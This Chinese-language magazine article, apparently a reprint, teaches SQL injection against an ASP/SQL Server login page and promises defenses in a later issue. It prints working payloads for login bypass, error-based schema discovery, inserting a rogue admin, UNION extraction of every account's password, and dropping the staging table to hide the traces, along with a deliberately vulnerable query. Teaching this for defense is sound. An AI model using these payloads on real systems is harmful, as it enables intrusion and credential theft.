前言
電腦系統的安全一直是你我所重視的,但或許你一直在替系統安裝修正檔,防毒軟體,架設防火牆,劃定非軍事區等等,但可能由於撰寫程式碼的疏忽,你的背後正有一個自己營造的大漏洞。
SQL Injection – 駭客的 SQL填空遊戲
在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料。而在各類型的資料庫中,又以結構化查詢語言(SQL Structure Query Language)為基礎的關聯式資料庫管理系統(RDBMS Relational Database Management System)最為流行。
一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,乃至於新增、修改、刪除或查詢資料。因為關聯式資料庫所有的執行動作皆是遵循 SQL 命令,所以透過此種方式可以很方便地完成各種資料維護工作。但也正因為 SQL 語言無所不能,所以稍有漏洞就會讓駭客有機可乘。這兩期文章就針對這個主題做一個深入的探討。
網站的資料存取一般來說是比較危險的,因為網際網路是一個開放的環境,而不像一般公司內部網路,除了有電腦本身的安全設計,還可以過濾篩檢員工的身分背景。網際網路上龍蛇雜處,大部分的使用者都循規導矩,但少數圖謀不軌的人卻處心積慮地要侵入我們的系統,竊取有價值的資料。但一般的網管人員及網頁設計師,可能在安全設定上有著重重防範,如架設防火牆,設計非軍事區(DMZ),限制網站登入者的身分等等。但由於缺乏對 SQL 語言及資料庫管理系統的認知,而大開系統的後門。
本文針對微軟的 ASP 網站架構搭配 MS SQL Server 做一個探討及示範,希望能提供各網站的管理人員對 SQL Injection 的入侵方式有個基本的認識,就筆者在撰寫本文時,利用搜尋網站隨意找幾個有會員機制的網站來測試,其中多數都有被此類方式侵入的危險,大家不可不慎。
筆者在此先建立一個一般會員網站登入網頁的範例,以及相關資料表的架構如下:
資料表的 Schema 如程式碼列表 1。
CREATE TABLE [tblUser] ( |
程式碼列表 1:存放會員資料的資料表 Schema。
並在資料表加入兩筆資料內容
INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10) |
登入網頁的撰寫方式如程式碼列表 2。
<% |
程式碼列表 2:簡單的 ASP 登入網頁。
在程式碼列表 2 中的 ASP 網頁利用 VBScript 來組合查詢使用者帳號、密碼的 SQL 查詢語法,邏輯相當簡單,若資料表中存有符合的帳號、密碼記錄,則回傳的 Recordset 的 EOF 屬性是 False,該使用者就算正確登入。
針對此種網頁,我們以下就開始利用 SQL Injection 的技巧來”駭”這個網站吧!
剪接語法
利用任何已知的使用者名稱登入1:例如在網咖偷偷地觀察某個使用者用什麼樣的帳號登入到哪個網站等等,或著先試試一般管理人員可能建立的使用者名稱,如:admin、administrator、supervisor、sa 等等。
在需要輸入使用者名稱的地方鍵入以下的內容2:
Admin’--
而密碼欄位隨便亂輸入,對於會被執行的整句 SQL 沒有什麼關係。示意圖如圖 1。
圖 1:利用已知的會員名稱登入,讓程式碼跳過密碼檢查。
你可以試著將輸入使用者名稱的內容與程式碼列表 2 的 SQL 語法做個整理,將會發現實際傳給 SQL Server 的語法如下
SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf' |
關鍵就是原先的 AND 子句被 “--" 標示成說明,也就是 SQL Server 僅僅執行
SELECT * FROM tblUser WHERE UserName='admin' |
自然,若有該使用者存在,則這個 SQL 查詢語法就傳回該記錄的所有欄位內容。再按照程式碼列表 2 的判斷方式:傳回的 Recordset 是否有記錄,若有就算登入驗證成功。則駭客就可以輕易地以該使用者的身分進入了。
用未知的使用者名稱登入:若沒有已知的帳號,也可以用以下的方式輸入到使用者名稱欄位,便能大大方方地侵入:
‘ or 1=1-- |
SQL Server 所接收的整個語法變成:
SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf' |
因為加上的 or 1=1,則不管之前的條件為合,只要某個條件為真,整個判斷式就都為真,因此回傳的 Recordset 物件包含了全部的會員記錄。也導致程式碼列表 2 中的 Recordset 物件 EOF 屬性為 False。
利用錯誤訊息
獲取欄位數量與名稱
微軟為了方便 ASP 的程式開發者可以順利地除錯,因此每當 Script 執行錯誤時,都會透過預設的 <系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 網頁將發生錯誤的原因回傳到前端,對於開發者來說,這是一個非常方便的錯誤呈現方式。但駭客也可以利用這個錯誤訊息取得原始 ASP 中的查詢語法,並從中了解資料庫中資料表的架構。例如在使用者名稱欄位輸入:
' HAVING 1=1--
則系統會傳回如圖 2 的錯誤訊息。
圖 2:故意製造錯誤,從錯誤訊息中找尋蛛絲馬跡。
由圖 2 可以知道存放使用者的資料表名稱是 tblUser,且查詢中有一個欄位叫 UserID。因此我們再次輸入:
'GROUP BY UserID HAVING 1=1--
這回錯誤訊息如圖 3。
圖 3:利用錯誤訊息來了解資料表大致結構。
再次在圖 3 的錯誤訊息中可知查詢的欄位還有 UserName,因此繼續以下列方式來查詢3。
'GROUP BY UserID,UserName HAVING 1=1-- |
利用上述方式取到完整查詢語法後,也就是輸入以下的語法,但不再造成執行時期錯誤:
'GROUP BY UserID,UserName,Password,Pri HAVING 1=1-- |
因為整個傳遞到 SQL Server 的語法變成:
SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf' |
如此列出所有欄位的 Group By 方式幾近等於沒有 Group By,但語法完全正確表示所有的欄位都已經包含在其中了。駭客就此可以約略估計資料表的欄位結構。
在輸入帳號的地方執行以下語法便可以加入自訂的使用者到資料表中。
';INSERT INTO tblUser Values('hacker','hacker',10)-- |
獲取欄位資料型態
若有資料欄位格式不對,導致無法加入自訂使用者,也可以利用下列語法傳回的錯誤訊息來判讀資料欄位格式:
'UNION SELECT 'abc',1,1,1 FROM tblUser -- |
結果傳回如圖 4 的錯誤訊息。
圖 4:利用錯誤訊息來判斷欄位的資料型態。
在這裡我們透過 UNION 語法來組合兩句 SELECT 查詢,第一句 SELECT 語法的第一個欄位 UserID 是 int 格式,但對應的第二句 SELECT 語法;第一個欄位的資料是 varchar 格式的 ‘abc’,因此出現如圖 4 的錯誤訊息。駭客也由此得知資料表第一個欄位的資料型態是 int。有耐心地把一個個欄位測試完畢後,便可以得到整個資料表的欄位格式。
獲取會員的帳號密碼
利用這個技巧,還可以再進一步獲取使用者的帳號和密碼,例如先以下列語法詢問帳號:
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'-- |
IIS 回傳錯誤訊息如圖 5。
圖 5:利用錯誤訊息來取得使用者帳號和密碼。
因為傳回的記錄”Admin”是 nvarchar 格式,而透過 union 對應到原先 int 資料欄位,因此有圖 5 的錯誤訊息。由以上的錯誤可以得知有一個稱為”Admin”的帳號存在,之後再以下列語法獲得該帳號的密碼。
'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'-- |
錯誤訊息如圖 6。
圖 6:利用錯誤訊息取得帳號 admin 的密碼。
之後再繼續以下列語法來獲得其他人的帳號密碼。
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'-- |
錯誤訊息如圖 7。
圖 7:依序透過相同的機制取得其他人的帳號密碼。
依次替換掉 WHERE UserName > 的條件內容,就可以取得資料表中所有的帳號和密碼組合。
駭客甚至可以透過以下的語法將整個使用者帳號密碼串成字串:在輸入使用者帳號的欄位填入如程式碼列表 3 的 SQL 語句。
';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker-- |
程式碼列表 3:將所有的使用者資料組成字串,放入自訂的資料表中。
在程式碼列表 3 中,先宣告一個長度為 8000 的字串變數 @str,再將整個 tblUser 資料表的內容組成一個字串放到變數 @str 之內,最後再利用 SELECT … INTO… 語法把 @str 變數的內容放到自建的資料表 tblHacker 之中。
然後再利用前述故意營造錯誤的技巧換回資料內容。
' UNION SELECT IDPass,1,1,1 FROM tblHacker-- |
結果如圖 8。
圖 8:取回全部的會員帳號密碼資料。
當然事後要做一個清除的動作,以避免系統管理人員的注意,依然在名稱欄位輸入如下的內容。
' ; DROP TABLE tblHacker-- |
在本期的文章中,筆者介紹了一般的 SQL Injection 攻擊,相信你不是感到興奮且躍躍欲試,想要找幾個網站來開刀,就是感到毛骨悚然,趕快檢視一下自己的系統。不管你是何者,筆者期盼本文不致遭到誤用,若有心測試別站的安全程度,建議你將成果告知該站的管理人員,讓整個網際網路的世界更為安全,一般人才會願意流漣在其上,而我們資訊人員才有更好的未來。
在下期文章中,筆者將繼續介紹進階的 SQL Injection 攻擊,並提出因應的防範之道,期待再次與你見面。
後記:本文所舉各例,並非單指Microsoft SQL Server而言,事實上所有關聯式資料庫如Oracle等均是如此。同時,本文所舉各例,並非單指ASP而言,事實上對所有動態網頁如JSP、PHP等均是如此(即使你的系統還停留在CGI技術也是一樣),奉勸各位即時檢視您的系統,防患未然。
(本文由SQL Server電子雜誌 http://www.sqlserver.com.tw 授權台灣微軟獨家轉載)
留言列表